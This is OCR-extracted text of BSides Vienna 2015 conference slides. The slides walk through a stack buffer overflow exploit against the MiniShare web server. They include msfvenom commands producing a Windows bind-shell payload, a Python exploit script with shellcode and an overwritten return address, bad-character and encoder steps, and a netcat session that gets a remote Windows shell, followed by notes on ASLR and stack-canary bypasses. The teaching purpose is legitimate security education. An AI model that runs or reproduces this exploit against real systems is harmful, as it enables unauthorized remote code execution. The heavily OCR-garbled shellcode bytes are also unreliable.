B fhe 2t EIP B1343908
BiZ43514| 43 INC EE: E Y E: apie
Bi342515| 43 INC EEM A1 S @3
G1242516| 43 ING EEM 20 DOF oecs
Ai342517| 43 ING EEM X156 F: oo
EER=41414141 14 J8s.aeo
08 LastEcr
e [T P = R
Gioioo00 41 41 41 41 9A AF 05 f | AAhd.~'w — g{gjgg?g s
G1242002| 43 43 43 43 43 43 45 A5| coccooet Bi543014| 45454345
B1342510| 43 45 43 43 43 43 43 f43| COCCCOOE | 51343315| 43434342
B1342015| 43 45 43 43 43 43 45 43| COLCCOLE T
B1243500| 43 43 43 43 43 43 49 43| CLGCCCOD B1545500| 45434545
B1542555| 43 45 43 43 43 43 49 43| COCCCCOD Bio43054| 45454545
81342550| 43 43 42 43 43 42 49 43| CCCCCooD B1345055| A54n4545
B1242050| 43 43 43 43 43 43 42\ 43| CLCCCOLD F | agicieas
B1542040( 43 45 43 43 43 43 45\43| COCCCOLD B15343056| 45434545
G1542943| 43 45 43 43 43 43 45 43| COCCCOOD Bi543054| 45454345
B1342550] 43 45 43 43 43 43 45 Na| COGLCOOD Bi4aa58| 45454545
BI3429E5] 43 4% 43 43 43 43 45 4NCLLLCOOD G14aoon| 4a454045
B1Z43560| 43 43 43 43 43 43 43 43‘5:EEEE?? B1345046| 43424343
B1542060| 43 45 43 43 43 43 43 43| CONCETTL GiZ43044| 49454545
B1342570| 43 45 43 43 43 43 45 43| CCLCCCLD G1343045| 43454545
B1242075| 43 45 43 43 43 43 45 43| CLCCCCLD o] agiciens
B1542050| 43 4% 43 43 43 43 45 43| COCLLOOD | I393940) 4ag4nad

Fa

To direct input to this virtual machine, press Cii+G.

BSidesVienna 0x7DF
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|BS|des Vienna 2015

Create our shellcode

-
@ root@kali; ~/Desktop/minishare

root@kali:~/Desktop/minishar mzfvenom -p windows/shell bind tcp LPORT=7777 -f python
Ho platform was selected, choosiY aaiodule: :Platform:

:Windows from the payload

FH |JOANNEUM

University of Applied Sciences |

IT & Mobile Security

No Arch selected, selecting Arch: xXBé& from the pawvload

Payload =size: 328 bytes
buf = ""

buf +—= "\x53\xff\xds"
root@kali :~/Desktop/minishare# .

No encoder or badchars specified, outputting raw pavlioad

buf += "\xfc\xeB\x82\x00\x00\X00\RE60\XE89\Xe5\X31\xcO\X64\X8b"
buf += "ZxO0\x3I0\xBb\XSZ\X0cAXBb\ RS2\ X1 4\ XEb\ X722\ x28\ X0\ xbT"
buf +—= "\xda\xZe\x31\xff\xach\x3ch 61\ xTc\x02\ X2 c\x20\ o1\ X"
buf += "\x0d\X0I\XCT\Xe2\Xf2\X52\R5T\X8b\X52\x10\xB8b\x4a\x3c"
buf += "\xBb\R4ch\xII\xTE\xXe3\x4B\ 201\ xdl\x51\®8b\x5 0\ 220\ x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\ x4\ x8b\x34\x8b\x01\xde\x31"
buf += "\xff\xac\xcl\xcf\x0d\x0Ii\RcTAX3IB\Xe0\XTS\xIT6\Xx03 \xTd"
buf += "\xfE\X3b\xT7d\xZ4\xT75\xed4\®R58\XB8b\X5B8\X24\x01\xd3\x66"
buf += "\x8b\x0ci\x4b\x8b\xX58\x1c\x01\xd3\x8b\x04\x8b\x01\ xdD™
buf += "\xB8O\x44\x24\xZ4\xSbhxSb\RE1\ X598\ x5a\x51\xff\xeD\x5E"
buf += "\x5I\X5a\XBb\XI2\xeb\ X84\ ®5d\X6B\ X33\ XIZ2\X00\X00\X6B"
buf += "\ETTA\RTI\x3I2\x5F\ X4\ x6B \ R4\ X T 7\ x26\ RO T\ xff\ rd5\xbB"
buf += "\xO0\x01\x00\x00\ X290\ xc4\ x54\ x50\ x68\x20\x80\ x6b\x00"
buf += "\xf\xd5\x6a\x08\x59\X50\Re2\xFfd\ x40\ x50 x40\ x50\ x68"
buf += "‘\xea\xX0f\xdf\xeO\xff\xd5\®OT\X68\X02\X00\xle\x61\x83"
buf += "\xebf\x6a\xXI0\XS6\XSTAXEB\ R\ Xdb\XIT\ 6T\ xEL\ Rd5\X5T"
buf += "\x6B\xbT\xed\xIB\xff\xff\xd5\x57\x6B\xT4 \xec\x3b\xel"
buf += "\XEA\XASAXSTA\XITAXEB\XTS\wee\x4d \xe1\xEff \xd5\x6B8\x63"
buf += "\xed\x64\ X000\ xB\xe3\X5T\x5T\ x5 7T\ x31 \ xfe\x6a\x12\x58"
buf += "\xo&\xe2\xfd\xe6\xcThx44\x24\x3c \x0I1\x01\xBd\xa4 \x24"
buf += "“RIO\KCE'\x00Y\x44\RX544X50\ K56\ K56\ X568 \R46 \ K6 \ x4 x5E™
buf += "\x56 53\ k56 \H68\ X7 \xce w3\ wBe\ K\ rd5\ X8\ ke D\ x4
buf += "\x56\X46N\XFL\XID\XEB\XOB\XET \ xid\x60\xEff\xd5\ xbb\xf0O"
buf += "\xb5S\xa2\x56\x68\xae\ X955\ xbd\x9d\XFE\xd5\x3c\x06\xTC"
buf += "\x0a\xB0\xfb\xeO\RT5\X0S\xbb\x47\x13\x72\xef\x6a\x00"

BSidesVienna 0x7DF

/usr/share/metasploit-framework/
./msfpayload windows/shell_bind_tcp C



FH JOANNEUM
BSides Vienna 2015 T & Mobile Security

Shellcode has 328 bytes - OK rity
Bindshell on port 7777

HHHH B R R R R
#msfvenom -p windows/shell_bind_tcp LPORT=7777 -f python

#No platform was selected, choosing Msf::Module::Platform::Windows from the
payload

#No Arch selected, selecting Arch: x86 from the payload

#No encoder or badchars specified, outputting raw payload

#Payload size€ 328 bytes

REHHAHHHH AR H AR R R BRI R R R R R R R

BSidesVienna 0x7DF
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Place shellcode in our exploit scrlpt

?ﬁmt@m ~/minishare =L =

'pDIt = int (sys.argv2]) -

print "[+] Preparing evil string..."™
sleep(l)

#buf = "™\x41"™ * 2000

buf = ™\x41"*1787 + "\ x0a\maf\xdsix77T"

buf = buf + ("\WELc\xeB\xEO\X00\XODY\XO0\ X660\ KB \xeS5\x31 \xd2\x64 \xB8bY\x52\x30™
M RBRA\RSZWN X0 XEBE A\ XS\ X1 4\ B\ X T2\ xZ B\ X0\ xb T\ xda\x2 &6\ x31 \x "

M3\ xach X3\ X6l N x T\ 02\ X2 ch x2 0\ A\ KT x0d\ X0 1\ KTy xe2 ™

M RTONESZ2W ST\ REBL\ X522\ x1 0\ X8\ x42 W\ x 3\ x01 \xd 0\ xB8b\ x40\ xTB\xB5™

M RCO\ET4\x4a\x01 \xd0\ x50\ x8b\x48\x1 B\ X8\ X558\ X220\ x01 \xd3\xe3™

T RIcAXLGVXERARIAN\XEDA X0\ KA\ XIIANXFF\X31 \xcO\Rac\xcl\xcf\x0d"

M ROINRCTAWEIB A ReO A\ X TS\ XFAN RO\ X TA\ XA X3P\ X TAY\ X2 4\ XT5\ Xe2\ X58™

A RERAXSEAXZ AN KON\ XAIW K66\ XL\ X0\ X4b A\ XBEAX5B8\ X1 e\ X001\ XA3\XBb"™

T ROANKEEAXOIN RAOA\XEO\ X444\ K24\ X2 4\ X5D A\ XEb A\ X611\ X509\ x5a\x51\xff"

Ty ReOA\XSBN X5 K52\ XEBbAXI 2\ Xeb\ X868\ K54\ X6\ X33\ RIZ2\ X000\ X000\ X6E"

AR T TN TINKIZNREEA XS AN XEE R\ XTTARZEN X0 T\ X\ ®d S\ xb B\ X 90\ x01 "

TRROOANKOONXZ O RoA\ X554\ X550 X668\ X2 0\ X80\ xeb \ X000\ \ xd5\ x50 x50"

TAREONKS0N XA REOA\ K40\ X50 K68\ xea\ XO0F\ xdf\xe 0\ EF \ A5\ XBO\XCT"

"3 KdbA XS I\ X6B A\ X022\ X000 X1 I\ X5\ XBO\ XKe 6\ X662\ RID\ X56 WK T\ XGE™

M xc2ARAdbA I T R T\ XFF\xdS\ X5 I\ X5 TG\ xb T\ xef\ 238\ xff\ xff\xds™

ML INKSIVKSTAXRGE\ X T4\ Rec  X3Ib\xel\ xFA\ xd S\ X5 T\ KB\ Xc T\ KEB\ XTS™
"Myxee\xddixeI\ X\ xdS\ X668 X6\ X6A\ K64\ KO0 XGOS\ KeI\ X5 T\ K5 TA\X5T"
"Myx3ITNNxfevxea \ X122\ x5O\ X566\ e\ xTd\ 66\ KT\ X444\ X224\ x3chx0i\x0i™

M RBA\ 44N 2 AN IO\ KeEh KO0\ x44\ x54 W\ x50\ 56\ K56 K56\ 46\ K56\ xde " —
M REENKESEN XS RSN KGN KT O\ e\ X3\ xEB6\ X\ xd5\x B8\ xe0 \ xde 56"

" x4eNREE N30\ REE\ 0B\ RET A RIA\ XG0\ xF A\ xd S\ xbb\xFO\xb 5\ xaZ\ k56" |=

MyREB\xagh X955\ xbd\ xo9d\xff A\ xdS\ x3ch 06\ X T\ x0a\x80\ xfb\xe 0\ x 75"
"y ROSA\XbbAR4TARIIWET2\ X6\ x6a \ X000\ 153\ kT \ ®xd5™)

print buf -

BSidesVienna 0x7DF
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Execute our exploit 2 ®

OllyDbg - minishare.exe

IT & Mobile Security

File Wiew Debug Plugins Options  Window Help
Bl x| wn] w4 L ]

& cp ead 000004

M| r|wiHE|c|/|K[B|R]..|s| E[F 2]

# (Registers (FPLJ i 4 <
= { EA¥ BOEROHAD

EC¥ 77CBEF2E msucrt.7FCOEFSE

ED¥ BBER4CED

EEX 41414141

ESP faasms

EBP B124BE20

ES] BOBAEEEL

EDI B124ERER

EIF 2C34d423@

m
0
@
&
0]
w
w
5]
=
b

=18
CS @a1E 3Zbit @1
S5 @EZ3 3Zbit @l
05 @8AzZ3 32bit @C
S B@3E 3Zbit 7F
UL

LastErr ERROR_SUCCESS [@008GR0G1
BEE18216 (MO, HE, I‘IE A HE, PE GE, &1

empty 3. 272027
EMpEY —LINDRH EE2E BEZ4EDOC BBBBBBBB
911831 15355,

empty B.B3723911
Enpty +UNORN G578 PCOEE1S B114FFA4
EMpLY 493
empty —UNORN FCa4
empty ~UNORM FEDZ B114F7
7 empty —??% FFFF rCO2B69G
T BE8E Cond B B @
e =
.
[Address [Hen dump o JEREEEEEEY OIS ET0E RETURN o 1249908 ¥aon SCoaaaan
Doocioon GE oo oo o oo O - aga0c| | EhaesErt
3 | = | BrEben
g L
42915
43511
42920
43974
4395
4ZIEC
4 dBgee
45954
42958
: B 43930
FEEET)
E 3| 43944
C 5 43945
£0 3 asats
EE | s
26| 76 i3 b
3 3 SR
il 5 2 B
i & 2 GEER
e e
B G a0
eTTora oo o ol oo b LEE R
Soaciinel s e ol g o 43974 !
Access violation when e}cecuting,[SCSM?;SU] uge Shift+F7/FE/F to pass exception to program ) [ | Paused

BSidesVienna 0x7DF
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Analyze: Set breakpoint =2 F7
Shellcode is executed, but???

OllyDbg - minishare.exe

File ‘iew Debug Plugins

Opkions

Window  Help

B« x| »l

ul 1"-

14 CPU - thread 00000358

5]

81343989
A1324296E
Q242918

a

A1343214
A1343216
Ai34z918
A134291R8
B134231C
B134291E
B1342928
al34z922
A1343924
A1343926
A1343928
A1342392H0
B134292C
B134292E
B13242928
213423932
A1343934
A1343936

FC
E2 22EHEESE
24 a1

CLD
CALL Qc244296
HOR AL.1

FTR

_wil¥i) $i 1 | =i L|E[M[T|W|H|c|/|K|B|R|..5]

0S: LERX], AY
OsSi: T

[T=: CEF=], AL
DS: CERX], AL
0S: CERX], AL
0S: CERXT, AL
0S: CERX], AL
DS: CERX], AL
OS: CERX], AL
DS: CERXT, AL
DS: CERXT, AL
DS: CERX], AL
0S: CERX], AL
0S: CERXT, AL
0S: CERX], AL
DS: CERX], AL
OS: CERX], AL
DS: CERXT, AL
DS: CERXT, AL
DS: CERXT, AL

FH |JOANNEUM

University of Applied Sciences

IT & Mobile Security

BSidesVienna 0x7DF
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Analyze: Shellcode is executed, but only few bytes ot the

shellcode are in memory

OllyDbg - minishare.exe

File Miew Debug Plugins Window  Help

Options

| . H

ﬂ ﬂ HH B2 root@kali: ~/Desktop/minishare

if len(sys.argv
print "[-]Usage:

=i
python %5 " % sys.argv[0]

print "[-]Example: python %2 182.168.1.2 BO™ % =y=.argv[0]
sys.exit (D)
O5: CEAX1, AH b~ aya.argvil]
DS:[ERX], AL port = int (sys.argv[2])
B1343914 O5: CERX], AL
B1242916 D=z [EAX], AL print "[+] Preparing evil =string..."

B1343915
B134391H
B1234291C
B1242391E
B124239:2R
B13439:22

DOS: CERX]T, AL
DS:LCERX], HL
DS:CEAX], AL
DS:CEAX], AL
OS: CERKX], AL
OS: LERKX], AL

sleep (1)

Sy 20N ROTI N RE T\ RE2

R S E RS SR e e E 3]
#msfvenom -p windowsfshell_bind_tcp LPORT=7777 -f pvthon
#No platform was selected, choosing Msf:

:Module: :PFlatform:

#1243924| BB68 DS: CERX], AL #Ho Arch selected, selectlﬁg Arcn x86 from the payload

S%gigg%g SSSS BE:EEE?%,Et #Mo encodexr putputting raw payload

henea)| EhED 053 CERX], AL #Pa######;;;;##ii:#ﬁ;;;################## seissrsssssssss
A124292C1 BEEA O5: CERX], AL

H124292E( BEEE 0S:[ERX], AL shellcode =

H1245926) 8808 D5: CERX], AL shellcode += "\xfchxeB\xE82\x00\x00\®OD\x60 \xE9Yxes \x31 \ncO\x64 \x8b"
et e o0 DRl += M\X50\x30\x8B\x52\x0c\xEb\x52\ x A XED\xT2\x28\ X0\ KRBT "
1242025 @EDE DS;[EHH]:HL += "y\x4a‘\x2e'\x31\xff\xachx3chx Teh\x02\x2c\x20\xc1\xcf"

X5T\x8b\x52\x10\x8b\x4a\x3c"

a2,

:Windows from the payload

22%

shellcode += "™i\x8bA\X4cA\XIIVXTE\xe3\x4B\x01\xd1\x51\x8b\x59\x20\x01"

shellcode += "\xd3\x8b\r49\x18\xe3d\r3a\x49\x8b\x34\x8b\x01\Xd6\X31"

shellcode += "™\xff\xac\xcl\xcf\x0di\x01\xc7\x38\xe0\xT75\xf6\x03\x7d"

zhellcode 4= "\REE\R3IE\RTA\R24\®TS\xed\®SB\RSE\RSE\x24 \x01 \xd3\x6e6"

shellcode += "™\x8b\x0c\x4b\x8b\x58%\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"

shellcode += "ZxE9\X44\RZ4\x24\X5b\RSRARE1\x59\x5a\x51 \xff\xe0\x5E"

shellcode += "™\x5L\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\xD0\x68"

zhellcode 4= "\RTTA\RTINRIZ\RSE\xS4\xeB \x4c \xT7 \x26\x0T \xEfE \ xdS \xba" =
shellcode += "\x90\x01\x00%\x00\x28\xc4\x54\x50\x68\x29\x80\x6b\x00" !E
Ehellcode += "y rFENRAENRE2NROENREONRED \ ka2 \ nEfd\ R40\RE0\ 40\ RE0\REE"T |

1|

BSidesVienna 0x7DF
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Analyze: =» Check for bad characters .

"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x1

1\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x2

3\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x3

5\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x4

7\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x5

9\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6

b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7

d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8

fAx90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0O\xal
\xa2\xa3\xad\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\x
b4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO\xc1\xc2\xc3\xc4\xc5\xc

6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd 8\

xd9\xda\xdb\xdc\xdd\xde\xdf\xe0O\xe1l\xe2\xe3\xed\xe5\xe6\xe7\xe8\xe9\xea\x
eb\xec\xed\xee\xef\xfO\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xfo\xfa\xfb\xfc\xfd\xfe\

xff"

BSidesVienna 0x7DF
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Analyze: =» Check for bad characters

1\x0 2\x03\x04\x05\x06\x07\x08\x09\x0a\x0 b\xe\xOf\xlO\xl
1\XTZ\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\XTx20\x21\x22\x2
3\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x3
5\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x4
7\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x5
9\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6
b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7
d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8
fAx90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0O\xal
\xa2\xa3\xad\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\x
b4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xcO\xc1\xc2\xc3\xc4\xc5\xc
6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd 8\
xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1l\xe2\xe3\xed\xe5\xe6\xe7\xe8\xe9\xea\x
eb\xec\xed\xee\xef\xfO\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xfo\xfa\xfb\xfc\xfd\xfe\
xff"

BSidesVienna 0x7DF
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Analyze: Shellcode is executed, but only few bytes ot the
shellcode are in memory

=» Check for bad characters: 00, 0d,

OllyDbg - minishare.exe

Window  Help

ﬂ HH @ root@kali: ~/Desktop/minishare =_r= m[.

if len(sy=s.argv) != 3: -
print "[-]Usage: python %= " % sys.argv[0]
print "[-]Example: python %5 182.168.1.2 BO™ % sys.argv([0]
sy=s.exit (D)

File Wiew Debug Plugins Options

ip = sys.argv|i]

DS: CERX], AH

E 05: CERXD], AL port = int (sys.argvi2])
H1343914 D05: CERT, AL
g%gigg%g BE:EEEE%:Et print "[+] Preparing evil ztring..."
H134391A O5: CERX], AL sleep (1)
H1343910C D05: CERX], AL [t s R R st s L E g SR s st EE s LRt s g
B134391E 05z CERX], AL #msfvenom -p windows/shell bind tcp LPORT=7777 -f python

B1343928( D800 DS: CERXT, AL

A1243922| CBEE DOS: CEAX1, AL #No platform was selected, choosing Msf::Module::Platform: :Windows from the payload
A1343924 ARAA DSE[EHX]:HL #No Arch selected, selectlﬁg Axcn x86 from the payload
H1345926) B@AE 05: [ERX], AL #Ho encode gutputting raw payload

B1242928) DBEG
B1242920) DEBG
B1242920) DEGEGE
B124392E) DBEG
B1243930) OBEE
81242932 0008

DS: [EA®T, AL
D5: [EA%T, AL
OS: [EA®T, AL
O%5: CEA%], AL {

328 bytes

shellcode
shellende += "™\ xfohyxeB\x82'\x00\xX00Y\X00Y\X60\xE80YreS\ x31\ XD\ X664 \XED"

DS: CERXT, AL
DS: CERXD, AL

bA\xT2\x28\x0f\xb7"
e REERE :

shelleode += ™y\x8b\R4c\X11\XTE\Xe3\x48\x01\xd1\x51\x8b\ x50 \x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3d\x3a\x49\x8b\x34\x8b\x01\xd6s\x31"
shellcode += ™\xffixac\xcli\xcf\x0d\x01%\xc7\x38\xe0\xT5\xEf6\x03 \x7d"
shellcode += "\REBAR3BARTA\xZ4\xT75\red4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "™4Wx8bY\xX0chx4b\x8b4\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0O"
shellcode += "\HE9\X44\RZ4\®2Z4\X5b\R5SbA\RE1\x59\x5a\x51 \xff\xe0\x5E"
shellcode += "\X5L\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode 4= "\RTTA\RTINRIZ\RSE\xS4\xeB\ w4 \xT T \x26\ x0T \xEfE \ xdS \xba" =
shellcode += "™\x80\x01\x00\x00%\x29%\xc4 \x54 \x50\x68\x29\x80\x6b\x00" |
Ehellcode += "y rFENRAENRE2NROENREONRED \ ka2 \ nEfd\ ®40\RE0\ 40\ ®E0\REE"T |

47,1

=
(5]
(5]
o
'l
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Encode the shellcode to bypass bad characters

-
@ roct@kali: ~/Desktop/minishare

rooti@kali :~/Deskvop/minisharef
rootikali:~/Desktop/minishare$
root@kali :~/Desktop/minisharef msf@genom -p windows/shell bind tcp LPCRI=T777 -b '\x00\x0d' -f python

Ho platform was =selected, choosing MecHModule: :Platform: :Windows from the payload !
Ho Arch selected, selecting Arch: x86 from the—pesload

Found 10 compatible encoders

Attempting to encode payload with 1 iterations of xBEJshikata_ga_nai

xEEHshikata_ga_nai succeeded with =2ize 355 (iteration=0)

xBEIshikata_qr_.al chfmaep with final =size 355
Pavload =izef 355 bytes Fu
buf = *»

buf += "\xba'\xbf\x6a'\x25\xd0\xd9\xcfhxd9h\x T4 \x24 \ kT4 \ w58\ K31 ™
buf += "\xcO\=xbI\®X53I\xII x50 \XI12\x83\xeB\xfc\x03 \xef\xE4 \xcT"
buf += "\x25\=xF3\ =91 \x85\xch \ xO0bh\xe2\xea\ x4 \xee\®53\x2a\xZb"
buf += "\xTbh\xRc3I\®x9a\x3IS\xZ29\xef \ x51\xed\ xd9\xTh\x1 T\ xba\xee™
buf += "\xcc\x82\x9ch\xcl\xcd\ xS\ xdd\ x40\ xde\®A2\x3 1\ xa2\x6f"
buf += "\xid\x44'\xad\xaB\x40\xad\xEfl\xel\x0e\xi18\xeS\ x06\x5a™
buf += "\xal\xS8e'\x505\xd4a\xal\xTI \ w2d\xed\x80\x22\x25\x34\x02" o
buf 4= "\xchi\xea'xd4chmObimdd\xef\xe9\xc5ixbe \xdbi\x0e\xda \ xbe™
buf += "\ iS5\ xeo \®XTbhb\xIf ARSI\ RIS\ KBS\ KIBAKId\Xch \ RO\ KID W\ x5d™
buf += "\ XTh\X03\XET \ 21 \xaT\ 286\ X1 3\ X8 T\ X2\ X3\ X\ X308\ xel™
buf += "\xa7\=ZT\=x35\x4d\xad\ xd2\x5a\ x50\ x60\ X6\ 66\ ®AT\xgT"
buf += "\xbd\zes\®x39\xa3\x19\xaa‘\xTa\xcd\x3B\x1a\x2c\xf2\x5a"
buf += "\XFe\ERS1\xX0o\RII\EI4\Eco\Eea\BETEARTI\KZa\xCcTARKEB2Z\ 81" -

m

/usr/share/metasploit-framework/
[ — ./msfpayload windows/shell_bind_tcp R | ./msfencode —b ‘“\x00\x0d‘ —e x86/shikata_ga_nai
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Execute the encoded shellcode ® ® ®

OllyDbg - minishare.exe

JOANNEUM

University of Applied Sciences

FH |
IT & Mobile Security

m ? ? ? File W%iew Debug Plugins ©Options ‘Window Help
R % 2
* o o Bl x| winn| wijsg i A - S
&l CP ead 00000
BEIGE ADDC BYTE PTR DSz LEARI, T m z
Olo4-010| BEFF a00 EH, = v |Begterers (P BagagaggF'”* 2 <
a1343917| FFa31 FUSH DWORD PTR DS:[ECKI B v TrEPERaD
213439132 5@ PUSH EAX L R el
81343515 (255 ESFCE3EF | ADE AL, BYTE PTR DS:[EBW+EFBSFCES] Eonie ey
A1543920 e Unknown command = | EcF mrsassee
G1242522| 25 FA2185CE AND_EAX, CESE91F3 | o T —
Be2 ER D5 ESF.DUGRD PTR DS [EDX-163 == B e
L T
SHECHL B RECET R RS TEB C B ES 9823 32bit B(FFFFFFFF)
f— . R F 1 €3 galE 3Zbit BLFFFFFFFE]
—— e v 6 1 5% 8823 32hit BIFFFFFFEF)
' 1% 18 aa Ak . £ 8 FS BBEE 3RiT PEFhhGmaiere
) ] ) .-ee SE 2261
G096 1008 54 00 05 06 o 4 T L& e
e o N ol S e P i it ot S 0 & LastErc ERROF_SUCCESS |GRGEQEGE)
= EFL @BE18216 (MO, HE, HE, A, NS, FE, GE, &)
STG bad  —HAM FFFF COBRGRGE HROOBESE
cCcess violalion (=i g l’l Ing Q ST1 emptu —UNDRM EBSS BOZAEOCG. OMOHERG0
TZ emptu B.@27E911531 1505523500 —4
575 emptu +UMDRM BErE FGI1EELS B114FFA4
574 erpty O, 1652624500462 1 GEGER—4333
STS erpty —UMORM ECG4 DRASAGEERA FEFEFEES
STE erpty —UMORH FEDS G114F7F4 DGEESGEG
J ST7 bad ~ -NAN FFEF COBBGEBS bEBEEEmD
1@ PUDOZDOI
! o | |mse et R TITETE
@1242951| 3482 L,2 & FEQ u Sl bR Red
A1343963| CSER 0% EEF,.EDX Illegal use of register
343965| 40 CEC _ESP
Se5| BEDD OF_EES, EEF "
=4 EE. Ll Lol Lo s ol
= T LT
A = | 51543275| Shboones
- =leizi2lg| goitenes
= G124391C| EFQSRCER
- B1545904| boceecei
. i 5
e 61342922 EEJFEQEZ
6134392C| 7EZB2ASS
e B1242936| 293F5SACa
= 51242924 O9EDS1ER
e 81343935 EEBRIFTE
E B134393C Clacsect
e G1342246| 4B003FCO
3 Sl Bl
2 4 g
- B124294C| FlAcaons
T 51343956 ES12EE6]
£ Bi409ca| ZEAishes
O E = =1
Bi24o0%E| REasaace
4
B1242954| DOBE4CEAR
513439628 SECSEIEF
01343960 BEO4REDE
Bi342974| Ghaeicss
4 1
61343978 2BFBLELD
Ainamatel Somasoen
[ | Paused

BSidesVienna 0x7DF
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Encoded shellcode needs some space for decoding
before executmg = Insert some NOPs (10) before

i#!}us:jbln}pytnnn A
import errno |
import os

from o5 import StLErTor
from socket import *
import sys

from time import sleep
from struct import pack

if len{sys.argv) 1= 3:
print "[-]Usage: python %3 ™ % ay=.argv[0]
print "[-]Example: python %3 192.188.1.2 80™ % sys.argv[O]

sys.exit (0)

ip = sys.argv[i]

port = int{sys.argviz2l)

print "[+] Preparing evil string..."
sleep(l)

fhuf = el s, 2 OO0

uf = "AxdI"*ITAET + Da\raf\md5\=xTT"

= buf + "\x90"*10

= buf + ("\xda‘\xdibe\x2ch\xbs\xaZixda\wdo\xT74\x24\xf4 \x5e\x3I1rgco"

I\NR56YRI1\ K] EANRDINRIG\RIBNREI\RCE N KIBARETAXS T\ R2ZE™

mhxd8\xie\x98\xd7 \x-:\xﬂ AxIOANx3IZ\RIO\ 53 \xd6\x3I6\x1b\REI"™

My xDe\x1a\x9T\x08\ x40\ w8\ x2c\xTe\xdd\xal\x85\xcb\xab\x8f"

My xiI6hxfa\xTI\Nxd3\xdd 2 0c\xDf \ x9e\x08\xTE\ 231\ k51 \x5d\ xTe"

M xTe\xBc\xad\xd2\x2 i\ xda\xif\xc3\x44\ 2% \xad\xe2\xBa\x94"™ ‘;
My xOb\x9c\Raf\xeb\ 6T\ RIT\xbi\xbb\xdf\ 22\ rfo\x23\x54\x6a" |F

" xda\x52\xbo\x68\xZ6\ xic\RbE\REb\Rdc\x0fxle\x02\xid\Rae" B
"S5 exploit.py"” 63L, 2406C 23,1 Top -

BSidesVienna 0x7DF
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Try again 2 w00t ©

-
@ rooti@kali: ~/Desktop/minishare
BTl e B meeees TPiBgmmmmal SL\BLuSRChaaF s PuTTY

SvifEee=r <= 5=z \E6Sbr6: HTTR/1.0

[+]Connecting with server...

[+]Connected. ..
[+]5ex dBLa ..
y evil data sent
root@kali :~/Desktop/minisharef nc —-n 10.52.200.24 7777
Microsoft Windows XP [Version 5.1.2600]

{(C) Copyright 1%85-2001 Microsoft Cozrp.

C:\PIDgIaIme\HiniShare)-l

FH |JOANNEUM

University of Applied Sciences |

IT & Mobile Security

EWE E==i5)5'E; nEm0Ec) 5Ekdi S BucEez: ~

BSidesVienna 0x7DF
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Exploit mitigation & bypassing

BSidesVienna 0x7DF
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ASLR

* Adress Space Layout Randomization
* Enabled on Windows since VISTA

€| CPU - main thread, module user32

E 3
CO N ORD PTH
T DS:

PUSH EDI

US D
PUSH ERX

U EDI,EDI EC
PUSH_EEP

MOU EEF, ESP
PUSH EBX

+EDI

I
B

Before reboot After reboot
JMP ESP: Ox768afcdb JMP ESP: 0x769dfcdb

72
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ASLR Bypass

* Search for non ASLR code

— Search for JMP ESP command in the program
itself or in libraries or program parts which have
ASLR disabled.

* Partial EIP overwrite

— Sometime you can overwrite just the stable
(unchanged) part of EIP

Before reboot After reboot
JMP ESP: Ox768afcdb JMP ESP: 0x769dfcdb

73
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ASLR Bypass

* NOP sled

— Fill your memory with a lot of NOPs (99%) following by
the shellcode (1%) to increase the chance to land with
a wrong/inaccurate address in the NOP sled.

* CAIN: Silently Breaking ASLR in the Cloud
(Blackhat Europe 2015)

— Use memory deduplication feature of Virtual Machine
Monitors to calculate adresses of system DLLs from
neighbour virtual machines

74
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Stack cookies/canaries

* Function prologue placesa ™7™
random number (canary) just “* {
3.) ESP=—

before the return pointer on mar
2.) RET!
the stack

* Before RET is executed =2 is |
canary still alive? §

s S
?é OK % Attack

BSidesVienna 0x7DF
